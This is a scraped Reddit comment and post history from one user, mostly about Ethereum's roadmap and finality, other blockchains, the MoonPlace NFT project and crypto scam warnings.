slot) * **Decrease # of validators** by increasing the minimum staking value - Decreases decentralization. * Some have suggested 1024 ETH minimum to reduce the maximum # of validators to 120K (2^17). This is what nearly ALL other PoS networks do. * Or they could cap validator size through another method. The biggest problem is that it's hard to choose a fair method to decide who gets to stay, and who has to leave. Validators that get left out are going to complain if they don't think it's fair. * **Use Super-committees**: Randomly pick a subset of validators for the committee instead of using the full set of validators - Decreases fault-tolerance. This is what many other PoS networks do. It also increase complexity in security design because now they have to account for the fact that not every validator is going to be signing off on each block. * **Redesign Casper**: Probably not going to happen since it has been in development since at least 2018 and took 4 years to release with The Merge. There's a lot already riding on this. But it might be adjusted. Another thing to keep in mind is that Casper doesn't finalize in 1 Epoch. It takes 2 Epochs to finalize. Blocks first get marked as "justified" after 1 epoch and "finalized" after 2 epochs. So there still needs to be a change to protocol if they want to get down to 1-slot. ####**Conclusion** Overall, SSF is a possibility, but each solution requires tradeoffs. The end goal doesn't necessarily have to be a single slot. It could be compromise with a lower number of slots, like 5 blocks, which would still keep finality at 1 minute.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency_Tech on November 6, 2022 18:54:52

https://www.reddit.com/r/CryptoCurrency/comments/ymg4vf/changes_between_vitalik_buterins_premerge/

####**New Roadmap** Vitalik Buterin has just released a [new roadmap for Ethereum](https://twitter.com/VitalikButerin/status/1588669782471368704). The biggest changes are that PBS and mitigating MEV have been moved to a new section called the Scourge (possibly a WoW reference). Also, the other 5 sections have been slightly updated too. The Merge now has **[Single-Slot Finality](https://notes.ethereum.org/@vbuterin/single_slot_finality)** on it. ####**Changes in the new roadmap** Here is what has changed from the older [Dec 2021 roadmap](https://twitter.com/VitalikButerin/status/1466411377107558402) * **The Merge**: * Added [Single-Slot Finality](https://notes.ethereum.org/@vbuterin/single_slot_finality). This attempts to reduce Casper FFG's deterministic finality from 1 epoch (32 slots) to just 1 slot by optimizing signature aggregation (from BLS). * **The Surge**: * The chart now makes it clear that sharding is just for rollup **Data Availability** (DA) for rollups. * [EIP-4844 \(Proto-Danksharding\)](https://eips.ethereum.org/EIPS/eip-4844) is now named. * **The Sourge**: * New section. * This is for [Proposer/builder separation](https://notes.ethereum.org/@vbuterin/pbs_censorship_resistance) (PBS), which is meant to alleviate both [MEV](https://ethereum.org/en/developers/docs/mev/) and transaction censorship. * **The Purge**: * Same as before, but more detailed. * More on "SNARKify everything". Fully-SNARKed Ethereum? Dang. * Increase L1 gas limits for more throughput/capacity? Nice. * **The Verge**: * Same as before, but more detailed. * History expiry is now [EIP-4444](https://eips.ethereum.org/EIPS/eip-4444) * **The Splurge**: * Moved PBS to The Scourge. * Focused on 3 parts: EVM improvements, Account abstraction, and VDFs.

posted by /u/Maleficent_Plankton in /r/CryptoCurrency on November 4, 2022 21:11:48
Top
/r/CryptoCurrency/comments/10t0284/cryptocom_cro_is_proof_on_why_marketing_is_so/j74uwoa/

Since we're talking about the US, CDC doesn't even have a US exchange.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 21:07:35
/r/CryptoCurrency/comments/10t0284/cryptocom_cro_is_proof_on_why_marketing_is_so/j74uexh/

They don't have to. They have lower fees/spread, and that markets itself. Also, CDC still doesn't have a US exchange.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 21:03:40
/r/CryptoCurrency/comments/10t0284/cryptocom_cro_is_proof_on_why_marketing_is_so/j74tnh9/

If they spent more money on their product instead of marketing, they could've kept some of the customers they gained.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 20:57:39
/r/ethereum/comments/10su2n3/byzantine_generals_how_proofofwork_drives/j73r698/

The first part on BFT is good. But the part on PoW is over-simplified. PoW for Sybil resistance isn't necessarily better. It just means that whoever consumes the most energy in the fastest time gets to dictate the canonical state of the blockchain.

Commented by /u/Maleficent_Plankton in /r/ethereum on February 3, 2023 16:21:24
/r/CryptoCurrency/comments/10sqidi/this_is_why_chainlink_is_so_important/j7365ip/

All I'm saying is that the price feed's security is not due to the design of Chainlink. It's due to the design of the managers running the price feeds and the network effect. Chainlink's price feeds typically have a minimum of 7 to 11 oracle responses needed per update. There's nothing preventing me from building an insecure price feed on Chainlink that only needs 2 out of 30 oracle responses.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 14:07:50
/r/CryptoCurrency/comments/10spe50/whats_next_for_moonplace/j7353ci/

Maybe we can collectively buy a space in Decentraland and decorate it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 14:01:06
/r/CryptoCurrency/comments/10sqidi/this_is_why_chainlink_is_so_important/j734byk/

It's not like you can't do this with Chainlink's data feed contacts. It's just much more expensive, and you need to provide more oracles than the feed's threshold.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 13:56:20
/r/CryptoCurrency/comments/10sn3zq/accepting_7_different_cryptocurrencies_as_a_pos/j72dufs/

Ah yes, the common moon farmer who only posts here twice a year /s

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 11:09:02
/r/CryptoCurrency/comments/10sijux/harmony_execs_mismanaged_funds_and_bullied/j72c8i2/

Lots of stories from the employees of him being extremely interruptive, moving them around like chess pieces, and forcing them to do weird things unrelated to work. He was clearly a bad manager and people person.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 10:58:40
/r/ethfinance/comments/10qm414/daily_general_discussion_february_1_2023/j728i8i/

If ETH price goes up, the fees in terms of ETH will go down if the demand for transactions doesn't rise accordingly.

Commented by /u/Maleficent_Plankton in /r/ethfinance on February 3, 2023 10:34:35
/r/ethfinance/comments/10scsic/daily_general_discussion_february_3_2023/j727hon/

Just quietly reading and upvoting.

Commented by /u/Maleficent_Plankton in /r/ethfinance on February 3, 2023 10:27:57
/r/CryptoCurrency/comments/10sj6ft/australia_introduces_classification_for_crypto/j72535o/

The law is dividing them into categories to make it easier for discussion without saying anything about their individual legality.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 10:12:05
/r/CryptoCurrency/comments/10sltn3/bitcoin_explosion_to_1000000_is_now_on_the_table/j724f8e/

This is one of those influencers who thrives off negative publicity.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 3, 2023 10:07:40
/r/ethereum/comments/10s1cwf/an_eip_to_save_wallets_from_offline_signature/j710yt8/

This is quite interesting, and it would make signing more trustworthy for apps that use it. Though I don't think it would've saved Kevin at all since SeaPort signatures are already human readable and don't use EIP-712. It doesn't prevent bad apps from using bad methods or end users from accepting them.

Commented by /u/Maleficent_Plankton in /r/ethereum on February 3, 2023 03:13:48
/r/Bitcoin/comments/10r6t1l/the_first_4_mb_block_in_bitcoin_history_mined_by/j70gkas/

Overall, I can't see any difference in the daily change. They aren't doing it enough yet to make a dent. If you all these concern trolls really cared about making everyone pay 1x for fees instead of 0.25x, they would ban batch transactions and Segwit all together.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on February 2, 2023 23:27:13
/r/Bitcoin/comments/10r6t1l/the_first_4_mb_block_in_bitcoin_history_mined_by/j70g45w/

The block subsidy is way too high in comparison to fees for anyone to care about Tx fee rewards. Producing empty blocks used to be a popular strategy for miners. You save a few seconds of block production time at the cost of only 0.5%-1% of block rewards.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on February 2, 2023 23:23:12
/r/Bitcoin/comments/10r6t1l/the_first_4_mb_block_in_bitcoin_history_mined_by/j70frsf/

No one cares about $900 worth (1sat/vB) of fees, which would realistically be about $300 worth of fees because you technically can't get close to 2M weight in a block with normal transactions. UTXO addresses take up the majority of the transaction size unless you're using Taproot or batch transactions. The block subsidy is 300x greater, so $300 is nothing is comparison. Plus, you save a second using a pre-built block instead of having to check for UTXO conflicts when building a new block.

Commented by /u/Maleficent_Plankton in /r/Bitcoin on February 2, 2023 23:20:11
/r/manga/comments/10s1f5r/disc_estrus_period_of_a_longlived_elf_who_married/j70cven/

No wonder everyone's on the edge in that movie. They've been horny AF without children for too long.

Commented by /u/Maleficent_Plankton in /r/manga on February 2, 2023 22:55:19
/r/CryptoCurrency/comments/10s3fwq/bitcoin_nfts_arent_new_but_blockchain_purists_are/j6zbe2w/

Honestly, if they cared about this, they should've complained harder before Segwit was released. What they they think Segwit was going to enable in a free market? They created a incredibly roundabout loophole to increase blockspace without technically increasing the blocksize in bytes. Everyone has been using this loophole for years with batch transactions. But when someone tries to use it for NFTs, it's suddenly not kosher? These purists are such hypocrits. They should join Bitcoin Cash if they don't like Segwit.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 2, 2023 18:13:02
/r/CryptoCurrency/comments/10rs654/new_programming_paradigm_for_blockchains/j6y3njk/

66% AI https://writer.com/ai-content-detector/ Even if this were written by a human, it didn't read coherently at all.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 2, 2023 13:35:40
/r/CryptoCurrency/comments/10qyi2n/what_will_be_the_new_hot_thing_of_the_next_bull/j6y3621/

Yeah. Every bull run has had something attractive for **retail customers**. zkEVM is great, but the number of customers it brings pales in comparison to theb mountains mass retail customers bring.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 2, 2023 13:32:37
/r/CryptoCurrency/comments/10rtqiw/coinbase_jumps_20_after_federal_securities_suit/j6y0tns/

It seems pretty normal to expectations. Negative net profit since Dec 2021, which is when the stock started tanking. Completely missed target for earnings call in Mar 2022, which corresponds to another huge price drop. What am I missing that seems abnormal for the market price?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 2, 2023 13:18:13
/r/BitcoinBeginners/comments/10qzla0/should_i_be_worried_out_about_ordinals/j6xgwua/

I don't think a fork is even needed. As long your client doesn't interpret the offending data in its offending form, it doesn't matter to the client. Some clients will continue to interpret ordinals while others will choose not to. If you like it, just prune the OP_RETURN data.

Commented by /u/Maleficent_Plankton in /r/BitcoinBeginners on February 2, 2023 11:15:06
/r/funny/comments/10rabr3/got_em_twice/j6vog6r/

Ask any Californian from outside the Central Valley, and they'll tell you it's the same picture, Pam.

Commented by /u/Maleficent_Plankton in /r/funny on February 2, 2023 00:13:19
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j6vbfsk/

I've just updated the script with some instructions, but it is expected that you should know some PowerShell or some scripting before running it. As a test, if you don't know what the line below does, then you're not ready to run it: Set-ExecutionPolicy RemoteSigned They are many crypto scams that prey on people copying-and-pasting code without understanding how they work.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 22:20:26
/r/CryptoCurrency/comments/10rdu92/a_comprehensive_list_of_common_crypto_scams/j6vb21m/

I shared it once before, and it got barely any views in this sub. But it was pretty popular in other subs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 22:17:28
/r/CryptoCurrency/comments/10rdu92/a_comprehensive_list_of_common_crypto_scams/j6v6vs9/

Hey. I recognize this link, and I approve of it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 21:45:38
/r/CryptoCurrency/comments/10qx98h/psa_just_a_warning_about_a_new_type_of_scam_using/j6tf35j/

Saved passwords are not accessible by Google API. They can only them through Gmail API or Drive API if you save your passwords in gmail and GDrive, which is extremely bad practice. And you'd have to approve of permissions for the script to access those APIs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 14:35:38
/r/CryptoCurrency/comments/10qqsul/ark_invest_maintains_prediction_that_bitcoin/j6su58h/

Cathy needs to promise to eat her dick on national television like McAfee if this doesn't happen.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 12:27:45
/r/CryptoCurrency/comments/10qqsul/ark_invest_maintains_prediction_that_bitcoin/j6stc9v/

I will support such a proposal. Every Cathy Wood, Elon Musk, and Jim Cramer post should get the Comedy flair.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 12:22:52
/r/CryptoCurrency/comments/10qx98h/psa_just_a_warning_about_a_new_type_of_scam_using/j6srp2i/

Now I'm getting FOMO. Am I the only person who hasn't received of these? Would've loved to see the code of one of these GAS scripts.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 12:12:45
/r/CryptoCurrency/comments/10qx98h/psa_just_a_warning_about_a_new_type_of_scam_using/j6spfv6/

Google App Scripts are very limited in what they can do. It's mainly accessing your Google information. They will always ask you for permissions first. As long as you don't give it permissions, it can't do any damage. Even if you give it permissions, that will only give it access to your Google accounts, not to your crypto.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 11:58:50
/r/ethereum/comments/10pufy1/once_zkevm_become_popular_amongst_l2s_expect_a/j6s8s8q/

I don't think this is true. Optimism and Arbitrum are currently extremely popular while zk rollups are ghost towns. Devs aren't waiting on the sidelines for zkEVMs to be built. They've already built on Optimism and Arbitrum. They might move over to zkEVMs rollups later, but it's not like the number of devs is going to suddenly multiply out of nowhere.

Commented by /u/Maleficent_Plankton in /r/ethereum on February 1, 2023 10:12:55
/r/CryptoCurrency/comments/10qfndh/celsius_was_using_quickbooks_for_its/j6qxitf/

Those are some expensive names. What would you use if you didn't want to pay an arm and a leg?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 01:48:37
/r/CryptoCurrency/comments/10q8kil/potentially_huge_crypto_win_no_one_is_talking/j6qrwhh/

That's actually really positive news. [This article](https://cointelegraph.com/news/sec-settles-on-security-claim-in-lbry-case-community-calls-it-a-big-win-for-crypto) suggests that the method of distribution is very important. While the initial sale falls under security rules, any secondary sales don't.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 00:44:51
/r/CryptoCurrency/comments/10qa7oe/bitcoin_has_broken_above_the_shortterm_and/j6qr78p/

https://xkcd.com/882/ If you pick enough variables, some combination of them will randomly have significance.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on February 1, 2023 00:37:36
/r/CryptoCurrency/comments/10qbsu9/new_scam_involving_google_scripts_macros_and/j6qfsit/

Google App Script will always ask you for permissions first. As long as you don't give it permissions, it can't do any damage. Even if you give it permissions, that will only give it access to your Google accounts, not to your crypto.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 31, 2023 22:52:45
/r/CryptoCurrency/comments/10q9u87/pos_is_less_secure_less_decentralized_easily/j6oy18o/

Have you thought about all the e-waste Bitcoin mining produces?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 31, 2023 16:35:16
/r/CryptoCurrency/comments/10pa9g8/anyone_up_for_an_onchain_battle_small_challenge/j6j9ic8/

No duh. If it didn't have a sweeper bot, it wouldn't be a challenge. Where's the fun in trying to beat that?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 30, 2023 13:56:10
/r/CryptoCurrency/comments/10ow1gd/floki_inu_dao_passes_proposal_to_burn_over_100m/j6hfqmy/

It depends on where is burn is coming from. If it's burning tokens not in circulation, it won't have any effect. But if it's individual holders burning their supply (like with MoonPlace), it will have an effect. There were people buying Moons to use them.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 30, 2023 05:12:17
/r/CointestOfficial/comments/yj8gdq/coin_inquiries_algorand_proarguments_november_2022/j6hcksb/

####**Incredibly fast and high throughput** Algorand is arguably the fastest decentralized blockchain in the Top 50 The Algorand [v3.9.x update](https://github.com/algorand/go-algorand/pull/4506) in Sep 2022: * Increased block size 5x to a max throughput of ~6K TPS * Decreased block time to ~4s (with deterministic finality). This is one of the few blockchains with finality fast enough to be used for Point of Sales. **Fastest swaps**: D13 recently performed a real AMM Swap benchmark where they reached **2881 swaps per second**. This easily [beats out every other L1](https://medium.com/dragonfly-research/the-amm-test-a-no-bs-look-at-l1-performance-4c8c2129d581), including Polygon (by 60x), BSC (15x), Avalanche C-Chain (90x), and even Solana by 10x. Nothing else comes close. ####**Very cheap transaction fees** Algorand is among the cheapest networks to use. All basic transactions have a 0.001 ALGO fee, which currently $0.00025. Smart contracts have a [700 opscode budget](https://developer.algorand.org/tutorials/understanding-teal-opcode-budget/) before they need to be split into multiple transactions. As such, swaps are equivalent to 4 basic transactions, which is still only $0.001 in transaction fees. ####**Energy-efficient** Like most PoS blockchains, Algorand has no mining. Even if it increased its participation node count to 4000 (currently 2500), it would be [~1 billion times more energy-efficient than Bitcoin](https://www.algorand.com/resources/blog/sustainable-blockchain-calculating-the-carbon-footprint) per transaction. ####**Using Governance for Marketing** Algorand heavily markets its Governance program, which is used to vote on how to distribute community rewards and whether DeFi dApps should get a rewards bonus. This boosts the popularity of Algorand as it provides quarterly community marketing. This also encourages Algorand holders to keep holding their ALGO in governance quarter after quarter (until the rewards run out). ####**Low staking barriers for participation nodes** Unlike Ethereum with its 32-ETH staking requirement, there are no staking requirements for joining as a participation node. In fact, the smallest-staking node only has [2 ALGO](https://metrics.algorand.org/#/decentralization/) (so small it probably has no chance of ever being selected for participation within a lifetime).

Commented by /u/Maleficent_Plankton in /r/CointestOfficial on January 30, 2023 04:26:16
/r/CryptoCurrency/comments/10ovzwv/what_have_you_wasted_the_most_time_on_when/j6h4zyw/

Moon farming (Not myself, but a lot of members here. Personally, my biggest unfruitful time-sink is blockchain throughput research.)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 30, 2023 02:40:23
/r/CryptoCurrencyMeta/comments/10or5a9/governance_votes_should_match_the_number_of_moons/j6goi5q/

CCIP-030: https://np.reddit.com/r/CryptoCurrency/comments/u3js8m/ccip_030_create_karma_multiplier_based_on_moon/

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 29, 2023 23:38:56
/r/CryptoCurrency/comments/10o8g36/1_million_cryptocurrency_moon_have_been_burned_as/j6f13hm/

Tiles are selling on OpenSea at ~[2x their mint prices](https://opensea.io/collection/rcc-moonplace). You can also buy [bundles of tiles here](https://opensea.io/collection/rcc-moonplace?search[resultModel]=BUNDLES&search[sortAscending]=true&search[sortBy]=UNIT_PRICE).

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 29, 2023 16:54:59
/r/ethfinance/comments/10o0h5d/daily_general_discussion_january_29_2023/j6es9j5/

I drew a mini-Ethereum logo at [100,300] There are plenty of bundled spots for sale on [OpenSea](https://opensea.io/collection/rcc-moonplace?search[resultModel]=BUNDLES&search[sortAscending]=true&search[sortBy]=UNIT_PRICE). (Shameless plug: I'm selling one of the [CHEAPEST 2x2 spots](https://opensea.io/bundles/arbitrum-nova/moonplace-2x2-1326-1427-Hfl))

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 29, 2023 16:02:26
/r/CryptoCurrencyMeta/comments/10oco1k/proposal_set_cost_for_updating_tiles_on_moonplace/j6ec4ke/

Your original choices were 5, 10, 20 Moons, which are prohibitively high. Even at 3 Moons/edit, if Moons goes to $1, I would've already paid $300 for all my edits yesterday. I suppose you could always edit down the prices, but how often would mods keep that price updated? r/place was great because you could edit at will and interact with others. I think putting a cost on updates would actually reduce the price of Moons because it would destroy utility of MoonPlace, and few would buy them anymore. There would be a lot of white tiles. It would feel like a rug pull for all tiles holders. We bought our tiles expecting certain functionality, and then we were taxed for it. This idea would backfire. We wouldn't trust future projects.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 29, 2023 14:22:09
/r/CryptoCurrencyMeta/comments/10oco1k/proposal_set_cost_for_updating_tiles_on_moonplace/j6eamui/

Thanks. Another thing is that high costs would prevent people from interacting with each other. One of the things I liked about r/place was all the interactions, e.g. that cone on /r/Maxx3141

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 29, 2023 14:12:08
/r/CryptoCurrency/comments/10o8g36/1_million_cryptocurrency_moon_have_been_burned_as/j6e78tb/

The actual MOON whales have 500K-1M Moons, so he's more of a dolphin.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 29, 2023 13:50:13
/r/CryptoCurrencyMeta/comments/10oco1k/proposal_set_cost_for_updating_tiles_on_moonplace/j6e57ql/

Exactly. If there were a cost to update, I would've never bought my tiles in the first place. I think this would destroy MoonPlace utility and its value.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 29, 2023 13:37:13
/r/CryptoCurrencyMeta/comments/10oco1k/proposal_set_cost_for_updating_tiles_on_moonplace/j6e1zr4/

It's not easy to edit tiles and get it right the first time. Personally, I've edited my tiles multiple times. People make mistakes, and this discourages them from experimenting and editing them to correct them when needed.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on January 29, 2023 13:16:41
/r/CryptoCurrency/comments/10o9ghv/could_we_get_a_way_to_add_a_reference_to_our/j6dxdo9/

At minimum, they should link it in the sub's sidebar.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 29, 2023 12:47:00
/r/CryptoCurrency/comments/10obo74/why_isnt_there_anti_virus_and_claw_backs_or/j6dn9xq/

You can't do that trustlessly. Think about credit card chargebacks and how they can be abused. If everyone could revert their transactions, you couldn't trust that your transaction is final.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 29, 2023 11:41:38
/r/CryptoCurrency/comments/10o44da/many_people_dont_realize_that_the_first_step_in/j6di78o/

> GameFi need A TON of processing power and transaction speed and for the longest This is completely false. **You're not running the game on the blockchain.** You only need to store assets on the blockchain. Reading from the blockchain is free and barely needs any resources. There are plenty of blockchains with 30+ TPS that can run GameFi. You can even do it on Ethereum L1, but it would be too expensive to be economically-viable. When you gain an in-game asset, minting is queued up and sent to the blockchain. It's not supposed to be instant.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 29, 2023 11:07:59
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j6c3gzo/

I wrote a PowerShell script to help split up rectangular image files and generate base64 codes from them: https://github.com/mal-plankton/tools/blob/main/Image_Split.ps1 (I don't actually like PowerShell, but picked it solely because it doesn't require installing anything extra on Windows. Figured more people could use it.)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 29, 2023 02:03:44
/r/ethfinance/comments/10o0h5d/daily_general_discussion_january_29_2023/j6c38dw/

There are 2 DEXs: SushiSwap and RCPSwap on Arbitrum Nova MEXC also works.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 29, 2023 02:00:44
/r/ethfinance/comments/10o0h5d/daily_general_discussion_january_29_2023/j6c0sjd/

**It's been a wild day for r/CC MOONs.** They briefly shot **up 80%** today before settling back down to 40%. This was all due to the new **[MoonPlace PixelMap](https://www.coingecko.com/en/coins/moon)** that launched today. Nearly every tile on MoonPlace has been sold in 24 hours. Once the website was fixed, whales started gobbling up the rest of the tiles. I spent a lot this time, but it was enjoyable. I own the tiles with the LoFi Girl and Owl on the left side around [100, 300]. If you're wondering why they're more detailed than the other tiles, it's because I ~~cheated~~ generated the base64 images with a script without using the website.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 29, 2023 01:31:12
/r/CryptoCurrency/comments/10ntjbo/daily_general_discussion_january_29_2023_gmt0/j6b3845/

Hehe. Your Snorlax looks awesome! I'm not artistic. I didn't draw my owl by hand.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 20:38:09
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j6afpyi/

u/DREAMINDIVERX - That is a very cute kitten. I'm impressed. u/Maxx3141 - Nice avatar drawing

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 17:38:22
/r/CryptoCurrency/comments/10nkrnq/moonplace_whale_in_the_making/j69g0jx/

Based on who he is, I'm hoping he's just getting some tiles for the community.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 13:29:35
/r/CryptoCurrency/comments/10ni1lu/over_300k_cryptocurrency_moons_have_been_burned/j69fd9q/

Mainly from Cointest competitions. (I do it for fun and am being paid less than minimum wage for my research.)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 13:25:16
/r/CryptoCurrency/comments/10nkrnq/moonplace_whale_in_the_making/j69dqxp/

And someone just sold [a dozen tiles](https://opensea.io/collection/rcc-moonplace?search[sortAscending]=false&search[sortBy]=LAST_SALE_DATE) for 0.0149 ETH each. That's a profit of 23x.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 13:14:13
/r/CryptoCurrency/comments/10ni1lu/over_300k_cryptocurrency_moons_have_been_burned/j69dpid/

Someone just sold [a dozen plots](https://opensea.io/collection/rcc-moonplace?search[sortAscending]=false&search[sortBy]=LAST_SALE_DATE) for 0.0149 ETH each. That's a profit of 23x.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 13:13:56
/r/CryptoCurrency/comments/10ni1lu/over_300k_cryptocurrency_moons_have_been_burned/j695s12/

It's because a lot of people choose to use old.reddit.com and other mobile apps like RedditIsFun. The new UI is very cluttered.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 12:20:42
/r/CryptoCurrency/comments/10nforr/illegitimate_bitcoin_transactions_how_taproot/j68yy9i/

Great technical article. I still remember those giant spam transactions in 2015 consisting of thousands of UTXOs and a single OP_RETURN. It's such a waste of space that will be permanently stored on the ledger by every full node. At least these ones have some utility, so they're not 100% wasteful.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 11:34:20
/r/CryptoCurrency/comments/10ni1lu/over_300k_cryptocurrency_moons_have_been_burned/j68w3pt/

284. You can only see it using new.reddit.com or the official Reddit mobile app. Honestly, I hate the UIs of the new apps.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 11:14:31
/r/CryptoCurrency/comments/10ni1lu/over_300k_cryptocurrency_moons_have_been_burned/j68vpiq/

> what happens if burns coin don't go in to circulation again That's the whole goal. It's only 1M Moons being burned eith this project. We still mint a bucket load of Moons every month.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 11:11:43
/r/CryptoCurrency/comments/10ni1lu/over_300k_cryptocurrency_moons_have_been_burned/j68u7aa/

About 300k gas to mint a single 10x10, a lot more to edit a 10x10 tile. Most transactions were under a penny.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 11:01:12
/r/CryptoCurrency/comments/10ni1lu/over_300k_cryptocurrency_moons_have_been_burned/j68txv6/

You're welcome. I'm now 10% lighter on Moons that will never be used again. I noticed several heavy buyers that purchased Moons directly from exchanges. Hence the price increase.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 10:59:21
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j68s17s/

They got lucky. It's not working for most. (Also, if you're a dev, there is a way to update the tile without the website, but you have to build/find your own tools.)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 10:45:56
/r/ethfinance/comments/10n7qyq/daily_general_discussion_january_28_2023/j67rppd/

I may have over-bought [MoonPlace NFT tiles](https://np.reddit.com/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/) from r/CC. Since the frontend app website was down, I couldn't tell that it uses base64 images with a very limited colorset instead of IPFS to store the tiles. That is until I read its code. That means my original plan of putting some nice artwork on the map is an impossibility (unless the frontend website updates or someone builds a better frontend).

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 28, 2023 04:20:33
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j67kyvd/

r/place is only modifiable works once a year, and it's chaotic.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 02:46:31
/r/ethfinance/comments/10n7qyq/daily_general_discussion_january_28_2023/j67ikcz/

[324, 324] is owned by the creator of 8-bit Cones. Only [2667 tokens out of 10K](https://nova.arbiscan.io/token/0x934095513c1ff89592a4b8490e263da7a6a4ceac#inventory) have been bought so far, so there are still plenty left. The launch has been buggy. While the smart contract works fine, the front-end website isn't.

Commented by /u/Maleficent_Plankton in /r/ethfinance on January 28, 2023 02:14:49
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j67i4d0/

I ended up writing to the setName() function [in the contract](https://nova.arbiscan.io/address/0x934095513c1ff89592a4b8490e263da7a6a4ceac#writeContract) (it uses the 'u/username' format) and got it to show on the website for awhile. And then at some point the website refreshed and it's no longer showing it. They have some bugs to work out.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 02:09:00
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j67hs24/

It's not particularly easy to do without the website working correctly. You can look up your transaction on https://nova.arbiscan.io/ and Decode the input data. You own [25,32]

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 02:04:42
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j678grh/

Fair enough. Once you list on OpenSea, then you have to start worrying about NFT drainers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 28, 2023 00:17:39
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j671kp7/

You divide the block number by 10 for the tile number. So 294, 817 is tile 29, 81

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 23:11:26
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j66zbmt/

I consider this part of my public identity, so I don't see the issue with using my Reddit account. But I could see why some whale traders would want to avoid that.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on January 27, 2023 22:51:26
/r/CryptoCurrency/comments/10m5uow/moonplace_a_place_like_rplace_but_onchain_nfts_on/j66wtjf/

